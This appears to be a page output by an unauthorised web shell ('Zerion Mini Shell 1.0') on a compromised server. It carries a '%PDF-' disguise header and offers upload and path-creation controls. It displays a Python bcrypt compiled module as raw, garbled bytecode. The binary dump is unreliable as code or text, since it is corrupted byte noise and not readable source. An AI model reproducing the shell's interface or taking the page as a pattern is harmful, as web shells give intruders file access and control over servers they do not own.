%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/bcrypt/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/bcrypt/__pycache__/__init__.cpython-312.pyc

�

��nb��
��ddlmZddlmZddlZddlZddlZddlZddlmZm	Z	m
Z
mZmZm
Z
mZmZddlmZgd�Zej&d�Zdd	ed
edefd�Zd
ededefd�Zd
ededefd�Z	dd
ededed	ededefd�Zdeddfd�Zy)�)�absolute_import)�divisionN�)�
__author__�
__copyright__�	__email__�__license__�__summary__�	__title__�__uri__�__version__)�_bcrypt)rr
rr
rrr	r�gensalt�hashpw�kdf�checkpws^\$2y\$�rounds�prefix�returnc��|dvrtd��|dks|dkDrtd��tjd�}tjjdd�}tjj||t|��d	|zd	zd
|zjd�zd	ztjj|�zS)N)s2a�2bz%Supported prefixes are b'2a' or b'2b'��zInvalid rounds��char[]��$z%2.2u�ascii)�
ValueError�os�urandomr�ffi�new�lib�
encode_base64�len�encode�string)rr�salt�outputs    �1/usr/lib/python3/dist-packages/bcrypt/__init__.pyrr8s���
�^�#��@�A�A�
��z�V�b�[��)�*�*�
�:�:�b�>�D�
�[�[�_�_�X�r�
*�F��K�K���f�d�C��I�6�	
�
�	�
�	��V��
#�
#�G�
,�	-��		�
�+�+�
�
�V�
$�	%���passwordr)c��t|t�st|t�rtd��d|vrtd��|dd}|tjd|�}}tjjdd�}tjj|||t|��}|dk7rtd	��|dd
tjj|�d
dzS)N�&Strings must be encoded before hashing�z"password may not contain NUL bytes�Hs$2b$r�rzInvalid saltr)
�
isinstance�str�	TypeErrorr�
_normalize_re�subrr"r#r$�bcrypt_hashpassr&r()r-r)�
original_salt�hashed�retvals     r+rrMs����(�C� �J�t�S�$9��@�A�A��(���=�>�>����}�H��
� 1� 1�'�4� @�4�M�
�[�[�_�_�X�s�
+�F�
�[�[�
(�
(��4���V��
M�F�
��{���(�(���!��w�{�{�1�1�&�9�!�"�=�=�=r,�hashed_passwordc���t|t�st|t�rtd��d|vsd|vrtd��t	||�}tj||�S)Nz'Strings must be encoded before checkingr0z6password and hashed_password may not contain NUL bytes)r3r4r5rr�hmac�compare_digest)r-r<�rets   r+rrssa���(�C� �J���$D��A�B�B��(��g��8��D�
�	
���?�
+�C����s�O�4�4r,�desired_key_bytes�ignore_few_roundsc
�v�t|t�st|t�rtd��t|�dk(st|�dk(rt	d��|dks|dkDrt	d��|dkrt	d��|dkr-|s+tjd	j|�td
��tjjd|�}tjj|t|�|t|�|t|�|�}t|dk(�tjj||�ddS)
Nr/rz#password and salt must not be emptyizdesired_key_bytes must be 1-512rzrounds must be 1 or more�2zrWarning: bcrypt.kdf() called with only {0} round(s). This few is not secure: the parameter is linear, like PBKDF2.�)�
stacklevelz	uint8_t[])r3r4r5r&r�warnings�warn�format�UserWarningrr"r#r$�bcrypt_pbkdf�_bcrypt_assert�buffer)r-r)rArrB�key�ress       r+rr�s���(�C� �J�t�S�$9��@�A�A�
�8�}���S��Y�!�^��>�?�?��A��!2�S�!8��:�;�;�
��z��3�4�4�
��{�,�	�
�
�P��f�V�n���
	
��+�+�/�/�+�'8�
9�C�
�+�+�
"�
"��#�h�-��s�4�y�#�s�3�x���C��3�!�8���;�;���c�#4�5�a�8�8r,�okc��|std��y)Nzbcrypt assertion failed)�SystemError)rPs r+rLrL�s��
��3�4�4�r,)�r)F)�
__future__rrr>r �rerG�	__about__rrrr	r
rrr
�r�__all__�compiler6�int�bytesrr�boolrrrL�r,r+�<module>r^s��� '���	�	��	�	�	��
�� ��
�
�;�'�
��C��e����*#>�U�#>�%�#>�E�#>�L
5�e�
5�e�
5��
5�$$�&9��&9�
�&9��&9�
�	&9�
�&9��
&9�R5�t�5��5r,

Zerion Mini Shell 1.0